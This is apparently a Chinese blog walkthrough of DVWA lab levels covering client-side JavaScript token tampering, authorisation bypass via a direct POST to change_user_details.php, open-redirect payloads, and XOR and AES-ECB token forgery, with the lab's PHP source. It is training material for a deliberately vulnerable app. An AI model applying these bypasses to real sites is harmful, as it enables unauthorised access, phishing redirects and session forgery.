Damn Vulnerable Web Application(下)

0 阅读14分钟

JavaScript Attacks

客户端JavaScript

本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何对其进行操控。这些攻击仅通过分析网络流量即可实施,但这并非重点,而且可能会更加困难。

目标

只需提交短语“success”即可通过关卡。显然,这并不像听起来那么简单——每个关卡都实现了不同的保护机制,必须分析页面中包含的JavaScript并对其进行操控以绕过这些保护。

低级难度

所有JavaScript代码均包含在页面中。阅读源代码,找出用于生成与短语匹配所需令牌的函数,然后手动调用该函数。

提示:将短语更改为“success”,然后使用generate_token()函数更新令牌。

中级难度

JavaScript代码已被拆分到独立文件并进行了压缩。您需要查看引入文件的源代码,并理解其功能。Firefox和Chrome都有“美化打印”功能,可尝试解压缩并以可读方式显示代码。

提示:该文件使用setTimeout函数运行do_elsesomething函数来生成令牌。

高级难度

JavaScript代码至少经过一种引擎混淆处理。您需要逐步调试代码,区分有效代码、无用代码以及完成任务所需的部分。

提示1:此处使用了两种打包工具,第一种来自Dan's Tools,第二种是JavaScript Obfuscator Tool。

提示2:这个反混淆工具对该代码效果最佳:deobfuscate javascript。

提示3:一种解决方法是...将混淆后的JS通过反混淆应用程序运行,拦截混淆JS的响应并替换为可读版本。理清执行流程后,您会发现需要按顺序调用的三个函数。在正确时间以正确参数调用这些函数。

不可能难度

永远不能信任用户,必须假设发送给用户的任何代码都可能被操控或绕过,因此不存在“不可能”的关卡。

参考资源:

www.youtube.com/watch?v=8Uq…

www.w3schools.com/js/

www.youtube.com/watch?v=cs7…

www.youtube.com/playlist?li…

low

根据提示,成功提交"success"即可过关image-20260406230827519.png

但是token无效,尝试刷新token,但是不变,搜索js代码,寻找刷新token的函数image-20260406232751537.png

	function rot13(inp) {
		return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
	}

	function generate_token() {
		var phrase = document.getElementById("phrase").value;
		document.getElementById("token").value = md5(rot13(phrase));
	}

	generate_token();

可以看出token是phrase的rot13和md5的双重编码,而phrase取自html页面image-20260407135347278.png

所以可以让burp将ChangeMe替换成success,让回显页面到达浏览器前进行替换,保证js执行时提取的值是successimage-20260407135725447.png

image-20260407135805095.png

或者直接调用"generate_token()"

先将ChangeMe修改成success,使"generate_token()"提取到的phrase为success,别提交image-20260406232154933.png

在控制台使用generate_token()函数image-20260406232319831.png

再点击提交

image-20260406231926418.png

上面的方法本质上是使'document.getElementById("phrase").value' = "success",然后调用generate_token()生成新tokenimage-20260407142828141.png

image-20260407142851851.png

low.php

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

函数方法插入在页面之中,找到方法并调用即可

medium

直接提交success还是无效tokenimage-20260407090646124.png

从js代码中搜索image-20260407090804901.png

image-20260407090845972.png

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--)
        t += e[n];
    return t
}
setTimeout(function() {
    do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

第一个函数是将e进行倒序,在第一个函数末尾打上断点image-20260407092337240.png

发现e为"XXChangeMeXX",t则是"XXeMegnahCXX",do_elsesomething(e)中的e则是"XX"image-20260407131840273.png

最终的token就是'do_something(e + document.getElementById("phrase").value + "XX")',而'document.getElementById("phrase").value'就是取自页面中的用户输入的地方image-20260407132234458.pngimage-20260407134207712.png

但是直接输入根本不行,直接修改value也没什么用,可能是token先一步生成了,再次修改也没用,所以可以使用burp的替换规则,在回显传到浏览器前,将value值修改,这时js再从页面中提取的value就是success了image-20260407133239681.png

image-20260407133507262.png

跟low等级一样,如法炮制,do_elsesomething(e)是生成token的函数,通过前面的分析,e为"XX",故生成新token时调用"do_elsesomething("XX");"image-20260407143321404.png

image-20260407143346140.png

也可以直接抓包修改

先是发现token是ChangeMe的倒序image-20260407133806726.png

将其倒序改为success的倒序sseccus(使用burp的替换规则更为方便)image-20260407133903765.png

image-20260407133932826.png

medium.php

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>

medium.js

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--)
        t += e[n];
    return t
}

setTimeout(function() {
    do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
    document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

setTimeout(function(){do_elsesomething("XX")},300);会在300ms后调用'do_elsesomething("XX")'生成token,因此只要将'document.getElementById("phrase").value'设为success,再执行'do_elsesomething("XX")'即可通关

high

直接搜索,发现进行了代码混淆image-20260407144957339.pngimage-20260407145042723.png

使用deobfuscate javascript反混淆后除去不必要的代码,可得

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

代码定义了3个方法,首先会执行'token_part_1("ABCD", 44);',其次执行'token_part_2("XX");',因为"token_part_2("XX");"在300ms后执行,此时"token_part_1("ABCD", 44);"已经先一步执行了,"token_part_3()"会在用户点击后执行,并生成token

因此要想提交成功,应顺着token生成步骤提交

document.getElementById("phrase").value = "success";
token_part_1("ABCD", 44);
token_part_2("XX");
// 最后点击提交

image-20260407184916425.png

image-20260407184805190.png

如果觉得每次都要打开控制台麻烦,可以使用篡改猴代劳,在靶场下点击篡改猴拓展添加新脚本,一些基础信息自动填好image-20260407194516761.png

添加脚本

setTimeout(() => {
    document.getElementById("phrase").value = "success";
    token_part_1("ABCD", 44);
    token_part_2("XX");
}, 500);

//或者
setTimeout(function(){
    document.getElementById("phrase").value = "success";
    token_part_1("ABCD", 44);
    token_part_2("XX");
}, 500);

使用"setTimeout()"是为了让页面加载完毕,延迟不可过低image-20260407195118246.png

image-20260407195215002.png

high.php

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>

high.js(反混淆)

//此处省略不必要代码

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

借鉴:DVWA - JavaScript - 《⚔️CTF》 - 极客文档

impossible

You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

永远不要相信用户提供的任何信息,也无法阻止他们捣乱,因此不存在无法通过的关卡。

Authorisation Bypass

授权绕过

当开发人员需要在复杂系统中构建授权矩阵时,很容易遗漏在某些地方添加正确的检查,尤其是那些无法直接通过浏览器访问的部分,例如API调用。

作为测试人员,你需要检查系统发出的每个请求,并使用不同权限级别的用户进行测试,以确保检查机制正确执行。这通常是一项漫长而枯燥的任务,尤其是面对包含多种用户类型的大型矩阵时,但测试工作至关重要——因为任何遗漏的检查都可能导致攻击者获取敏感数据或功能权限。

目标

你的任务是测试这个用户管理系统在所有四个安全级别下是否存在授权检查遗漏的问题。

该系统设计为仅限管理员用户访问,因此请先以管理员身份登录,观察所有请求,然后尝试以其他用户身份复现这些请求。

如需第二个测试用户,可使用账号:gordonb / abc123。

低级

非管理员用户看不到“Authorisation Bypass”菜单选项。

提示:尝试直接访问 /vulnerabilities/authbypass/

中级

开发者已限制对页面HTML的访问,但请观察管理员登录时页面数据的加载方式。

提示:尝试直接访问 /vulnerabilities/authbypass/get_user_data.php,该API接口会返回页面所需的用户数据。

高级

HTML页面和数据获取API均已受控,但数据更新功能呢?你必须确保测试所有站点请求。

提示:获取数据的GET请求已被限制,但更新数据的POST请求存在遗漏,你能找到调用方法吗?

提示:这是一种实现方式:

fetch('change_user_details.php', {
  method: 'POST',
  headers: {
    'Accept': 'application/json',
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ 'id':1, "first_name": "Harry", "surname": "Hacker" })
})
.then((response) => response.json())
.then((data) => console.log(data));

不可能级别

该级别应已实现所有功能在数据访问前的正确授权检查。

但页面上可能仍存在非授权相关的漏洞,因此切勿认定其绝对安全。

参考链接:

owasp.org/www-project…

owasp.org/www-project…

owasp.org/www-project…

low

题目给了一个账号(gordonb / abc123),登录进去发现没有"Authorisation Bypass"关卡image-20260407202901688.png

但是如果知晓了路径 http://192.168.179.131:4280/vulnerabilities/authbypass/,就可以访问到页面image-20260407203456837.png

同时拥有编辑权限image-20260407203624679.png

medium

原来的路径已经无法访问了image-20260407210306541.png

使用admin访问页面的时候拦截一个一个放包发现另一个路径 http://192.168.179.131:4280/vulnerabilities/authbypass/get_user_data.phpimage-20260407205101034.png

image-20260407210145626.png

虽然没有了修改修改的权限,但是可以访问

[{"user_id":"1","first_name":"admin","surname":"admin"},{"user_id":"2","first_name":"Gordon","surname":"Brown"},{"user_id":"3","first_name":"Hack","surname":"Me"},{"user_id":"4","first_name":"Pablo","surname":"Picasso"},{"user_id":"5","first_name":"Bob","surname":"a"}]

提交update时,发现了另一个路径 http://192.168.179.131:4280/vulnerabilities/authbypass/change_user_details.phpimage-20260407211233761.png

使用hackbar勾选"POST body"提交时发现提交格式,得到了"键"和"值"image-20260407212025107.png

{"id":{user ID},"first_name":"{first name}","surname":"{surname}"}

提交数据image-20260407213359445.png

image-20260407213444846.png

虽然回显是失败的(火狐hackbar的问题),但是回到管理员页面刷新发现已经修改成功了image-20260407213616319.png

从admin账号获取到medium.php

<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities: 

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

http://192.168.179.131:4280/vulnerabilities/authbypass/页面下,非admin不可访问

high

这一关 http://192.168.179.131:4280/vulnerabilities/authbypass/get_user_data.php也没用了image-20260407231529186.png

http://192.168.179.131:4280/vulnerabilities/authbypass/change_user_details.php依旧能用

image-20260407232106669.png

再次以管理员身份登录,发现修改成功了image-20260407232327934.png

high.php

<?php
/*

Only the admin user is allowed to access this page.

Have a look at this file for possible vulnerabilities: 

* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

代码倒是没什么变化,注释中能用的路径倒是变少了

impossible

impossible.php

<?php
/*

Only the admin user is allowed to access this page

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

这一关能用的路径一个都没有了,大概率不存在越权的情况了,不过其他用户确实没有地方能够访问 http://192.168.179.131:4280/vulnerabilities/view_source.php?id=authbypass&security=impossibleimage-20260407233349137.png

只要记得路径,非admin用户还是可以访问这些的,用户能够访问到原本不能访问的页面,就是一种越权,不过也看危害大小

Open HTTP Redirect

开放HTTP重定向漏洞

OWASP将其定义为:

当Web应用程序接受不可信的输入,可能导致该程序将请求重定向到包含在不可信输入中的URL时,就会出现未经验证的重定向和转发问题。通过将不可信的URL输入修改为恶意网站,攻击者可能成功发起钓鱼诈骗并窃取用户凭证。

如上所述,这种漏洞的常见用途是创建一个初始指向真实网站但随后将受害者重定向至攻击者控制站点的链接。该站点可能是目标登录页面的克隆版以窃取凭证,也可能是要求输入信用卡信息以支付目标网站服务的页面,或者仅仅是一个充满广告的垃圾页面。

目标

利用重定向页面将用户从DVWA网站转移到其他非预期站点或网站内的不同页面。

低级难度

重定向页面无任何限制,可跳转至任意地址。

提示:尝试访问/vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja

中级难度

代码阻止了使用绝对URL将用户带离站点的行为,但可通过相对URL跳转至同站其他页面,或使用协议相对URL。

提示:尝试访问/vulnerabilities/open_redirect/source/medium.php?redirect=//digi.ninja

高级难度

重定向页面试图限制仅能跳转到info.php页面,但仅通过检查URL是否包含"info.php"来实现验证。

提示:尝试访问/vulnerabilities/open_redirect/source/high.php?redirect=https://digi.ninja/?a=info.php

不可能难度

系统不再接受页面或URL作为重定向目标,而是采用ID值告知重定向页面的跳转位置。这使得系统仅能重定向到已知页面,攻击者无法篡改跳转至其选择的页面。

参考链接:en.wikipedia.org/wiki/Passwo…

low

黑客历史

这里有两个著名黑客名言的链接,看看你能不能破解它们。

image-20260408110950822.png

可以发现链接进行了重定向image-20260408111233937.png

定向到了 http://192.168.179.131:4280/vulnerabilities/open_redirect/source/info.php?id=1

那么可以试试定向到别的网站

http://192.168.179.131:4280/vulnerabilities/open_redirect/source/low.php?redirect=http://example.com

image-20260408111848916.png

看来没有任何限制

low.php

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    header ("location: " . $_GET['redirect']);
    exit;
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

此代码没有过滤输入,直接重定向到输入地址了

medium

此关已经加了限制image-20260408112931721.png

绝对URL路径不行,使用协议相对url是可以通过的image-20260408113138607.png

medium.php

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
        http_response_code (500);
        ?>
        <p>Absolute URLs not allowed.</p>
        <?php
        exit;
    } else {
        header ("location: " . $_GET['redirect']);
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

只要包含"http://"或"https://",立刻返回500状态码,并且大小写不敏感,无法利用大小写绕过

high

image-20260408125612771.png

回显表明只能重定向到info.php,只能试试看有没有写死,可以让一个参数包含info.phpimage-20260408125948794.png

甚至http://也不拦了![image-20260408130104170.png](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/a5505d0636ee4cf8bdc720f67f1f983f~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAgcGx1Z2lucw==:q75.awebp?rk3s=f64ab15b&x-expires=1777099394&x-signature=%2B8GG8qNXwICWwEC3%2FyUcug%2Bykn4%3D)

high.php

<?php

if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (strpos($_GET['redirect'], "info.php") !== false) {
        header ("location: " . $_GET['redirect']);
        exit;
    } else {
        http_response_code (500);
        ?>
        <p>You can only redirect to the info page.</p>
        <?php
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>

strpos($_GET['redirect'], "info.php") 函数查找"info.php"在"$_GET['redirect']"中第一次出现的位置,也就是说只要输入的redirect值中存在"info.php",就可以绕过

impossible

这一关将redirect的值设为了数字image-20260408132047549.png

试了其他的字符,都是"Missing redirect target.",只能输入数字了

先爆破个1-100image-20260408145825869.png

发现有一个重定向到了外部网站 https://digi.ninja/image-20260408150017648.png

由此可以得知,不同的数字对应不同的网址,但是设为99是纯故意的,像这种白名单,不给攻击者任何自主输入的机会

impossible.php

<?php

$target = "";

if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
    switch (intval ($_GET['redirect'])) {
        case 1:
            $target = "info.php?id=1";
            break;
        case 2:
            $target = "info.php?id=2";
            break;
        case 99:
            $target = "https://digi.ninja";
            break;
    }
    if ($target != "") {
        header ("location: " . $target);
        exit;
    } else {
        ?>
        Unknown redirect target.
        <?php
        exit;
    }
}

?>
Missing redirect target.

从中得知重定向白名单

info.php?id=1
info.php?id=2
https://digi.ninja

通过输入数字来切换重定向目标,不给攻击者一点绕过的机会

Cryptography Problems

密码学问题

关于

密码学是安全领域的核心,用于保守秘密。若实现不当,这些秘密可能泄露,或加密机制被篡改以绕过保护措施。

本模块将探讨三种漏洞:使用编码替代加密、采用已知弱点的算法,以及填充预言攻击。

目标

每关有独立目标,但核心思路都是利用脆弱的加密实现。

初级难度

关键提示在于"编码"而非"加密"的表述,这暗示了漏洞所在。

先编码几条消息观察输出,若熟悉编码标准可识别出Base64。真有这么简单?尝试Base64解码测试字符串:

encode (hello) -> HwQPBBs=
base64decode (HwQPBBs=) -> 0x1f 0x04 0x0f 0x04 0x1b
encode (a secret) -> FkEQDRcFChs=
base64decode (FkEQDRcFChs=) -> 0x16 0x41 0x10 0x0d 0x17 0x05 0x0a 0x1b

虽然失败了,但你可能注意到输出字符的数量与输入字符的数量一致。另一种常被误认为是加密的编码方法是异或(XOR)运算,它会对明文输入进行逐字符异或操作,使用的密钥会被重复或截断以匹配输入长度。

异或运算具有可逆性:明文与密钥异或得到密文,密文与密钥异或又能还原明文。有趣的是,若将明文与密文进行异或,反而能得到密钥。让我们用示例来验证这一点:

encode (hello) -> HwQPBBs=

xor (HwQPBBs=, hello) -> wacht

第二个示例:

encode (a secret) -> FkEQDRcFChs=

xor (FkEQDRcFChs=, a secret) -> wachtwoo

密钥尚未重复,尝试更长字符串:

encode (thisisaverylongstringtofindthepassword) -> AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=

xor (thisisaverylongstringtofindthepassword, base64decode (AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=)) -> wachtwoordwachtwoordwachtwoordwachtwoo

发现密钥是荷兰语"wachtwoord"(密码)。解密挑战字符串:

xor (base64decode(Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=), wachtwoord) -> Your new password is: Olifant

中级难度

令牌采用基于电子密码本模式的算法(AES-128-ECB)进行加密。在这种模式下,明文被分解为固定大小的数据块,每个数据块独立于其他块进行加密。这将生成由多个独立块组成的密文,且无法将这些块关联起来。更糟糕的是,只要使用相同的密钥加密,来自任何两个明文输入的任意两个块都可以互换。在我们的示例中,这意味着您可以从三个不同的令牌中提取数据块来创建自己的令牌。

你怎么知道块大小?这在算法名称中已经给出。aes-128-ebc是一种128位的块密码。128位等于16字节,但为了便于阅读,字节用十六进制字符表示,即每个字节对应两个字符。这样,块大小就是32个字符。Sooty的令牌长度为192个字符,192除以32等于6,因此Sooty的令牌包含6个代码块。

我们首先将令牌分解成块。

Sooty:

e287af752ed3f9601befd45726785bd9
b85bb230876912bf3c66e50758b222d0
837d1e6b16bfae07b776feb7afe57630
5aec34b41499579d3fb6acc8dc92fd5f
cea8743c3b2904de83944d6b19733cdb
48dd16048ed89967c250ab7f00629dba

Sweep:

3061837c4f9debaf19d4539bfa0074c1
b85bb230876912bf3c66e50758b222d0
83f2d277d9e5fb9a951e74bee57c77a3
caeb574f10f349ed839fbfd223903368
873580b2e3e494ace1e9e8035f0e7e07

Soo:

5fec0b1c993f46c8bad8a5c8d9bb9698
174d4b2659239bbc50646e14a70becef
83f2d277d9e5fb9a951e74bee57c77a3
c9acb1f268c06c5e760a9d728e081fab
65e83b9f97e65cb7c7c4b8427bd44abc
16daa00fd8cd0105c97449185be77ef5

每个令牌都被很好地分解成了区块,说明我们走对了方向。

如果仔细观察这些区块,你会发现有些区块在不同的令牌中重复出现,这意味着相同的明文被加密生成了这些区块。查看描述后,我们可以尝试将这些区块映射到JSON对象上。

以Sooty为例:

Sooty:

e287af752ed3f9601befd45726785bd9 <- Username
b85bb230876912bf3c66e50758b222d0 <- Expiry
837d1e6b16bfae07b776feb7afe57630 <- Level
5aec34b41499579d3fb6acc8dc92fd5f <- Bio
cea8743c3b2904de83944d6b19733cdb
48dd16048ed89967c250ab7f00629dba

假设我们的映射是正确的,如果你对比匹配的区块,可以看到Sooty和Sweep拥有相同的过期区块(b85bb230876912bf3c66e50758b222d0),而Sweep和Soo则共享相同的权限级别区块(83f2d277d9e5fb9a951e74bee57c77a3)。这与我们对这些令牌的了解相符——Sooty和Sweep的令牌已过期,且Sweep和Soo都是普通用户而非管理员。

掌握了这些信息后,我们现在可以伪造会话令牌了。我们需要从Sweep中提取用户名区块,从Soo中获取有效区块,再从Sooty中取得权限级别区块。最后用任意令牌中的剩余区块完成拼接。最终得到:

3061837c4f9debaf19d4539bfa0074c1 <- Sweep as username
174d4b2659239bbc50646e14a70becef <- Soo's expiry time
837d1e6b16bfae07b776feb7afe57630 <- Sooty's admin privileges
caeb574f10f349ed839fbfd223903368 <- Finish off with Sweep's bio
873580b2e3e494ace1e9e8035f0e7e07

这给了我们...

3061837c4f9debaf19d4539bfa0074c1174d4b2659239bbc50646e14a70becef837d1e6b16bfae07b776feb7afe57630caeb574f10f349ed839fbfd223903368873580b2e3e494ace1e9e8035f0e7e07

这是一个经过精心设计的设置,通过调整令牌强制将数据块映射到JSON对象,以便更容易进行操作。然而在现实中,这种情况不太可能如此简单,因为数据通常由固定大小的块组成,可能会出现块重叠的情况,导致混合数据块后仍能生成有效数据。有时只需能够传递无效数据就足够了,因此只需以某种方式交换数据块,使其能够被解密并传递到系统的其余部分,从而引发错误。

如果你想进一步尝试,源代码目录中有一个名为 ecb_attack.php的脚本,它展示了令牌是如何生成的,并允许你以不同方式组合它们来创建自定义令牌。

高级难度

系统使用AES-128-CBC模式,存在填充预言攻击漏洞。推荐阅读Eli Sohl的 Cryptopals: Exploiting CBC Padding Oracles 详解。源码目录提供oracle_attack.php脚本供演练。

终极难度

密码学没有"绝对不可能"。当前推荐方案AES-GCM采用256位块和唯一IV,但未来可能被攻破。

low

题目要我们将已经拦截到的信息解码得到密码,并登录验证image-20260408170737558.png

有解码功能,直接解码image-20260408172415994.png

输入密码直接登录image-20260408172456225.png

但是打靶场并不是通关了就行,总是要分析一下的

初看像base64,但是解码失败了image-20260408170915488.png

最终在html页面中发现了XORimage-20260408172046878.png

显然用的异或加密,通常是密文 + 密钥 ==> 明文

可以密文 + 明文 ==> 密钥,使用解密工具时,将明文当作密钥,可以逆推密钥image-20260408204117222.png

现在的明文是"jlagjaljgdljasdkgjkdfjalgjadjkd;j",密文是"HQ0CDx4WAwUVABsLAhsQHAgFGQARCwIEEx0OCxgPE1oJ",通过解密工具image-20260408204444923.png

xor( HQ0CDx4WAwUVABsLAhsQHAgFGQARCwIEEx0OCxgPE1oJ, jlagjaljgdljasdkgjkdfjalgjadjkd;j)=wachtwoordwachtwoordwachtwoordwac

此时密文并不是"wachtwoordwachtwoordwachtwoordwac",其结果是多个相同密钥相拼的结果(wachtwoord wachtwoord wachtwoord wac),观察规律得到密钥"wachtwoord",将此密钥用于解密image-20260408204805409.png

尝试登录

image-20260408204900943.png

low.php

<?php

function xor_this($cleartext, $key) {
    // Our output text
    $outText = '';

    // Iterate through each character
    for($i=0; $i<strlen($cleartext);) {
        for($j=0; ($j<strlen($key) && $i<strlen($cleartext)); $j++,$i++) {
            $outText .= $cleartext[$i] ^ $key[$j];
        }
    }
    return $outText;
}

$key = "wachtwoord";

$errors = "";
$success = "";
$messages = "";
$encoded = null;
$encode_radio_selected = " checked='checked' ";
$decode_radio_selected = " ";
$message = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    try {
        if (array_key_exists ('message', $_POST)) {
            $message = $_POST['message'];
            if (array_key_exists ('direction', $_POST) && $_POST['direction'] == "decode") {
                $encoded = xor_this (base64_decode ($message), $key);
                $encode_radio_selected = " ";
                $decode_radio_selected = " checked='checked' ";
            } else {
                $encoded = base64_encode(xor_this ($message, $key));
            }
        }
        if (array_key_exists ('password', $_POST)) {
            $password = $_POST['password'];
            $decoded = xor_this (base64_decode ($password), $key);
            if ($password == "Olifant") {
                $success = "Welcome back user";
            } else {
                $errors = "Login Failed";
            }
        }
    } catch(Exception $e) {
        $errors = $e->getMessage();
    }
}

$html = "
        <p>
        This super secure system will allow you to exchange messages with your friends without anyone else being able to read them. Use the box below to encode and decode messages.
        </p>
        <form name=\"xor\" method='post' action=\"" . $_SERVER['PHP_SELF'] . "\">
            <p>
                <label for='message'>Message:</lable><br />
                <textarea style='width: 600px; height: 56px' id='message' name='message'>" . htmlentities ($message) . "</textarea>
            </p>
            <p>
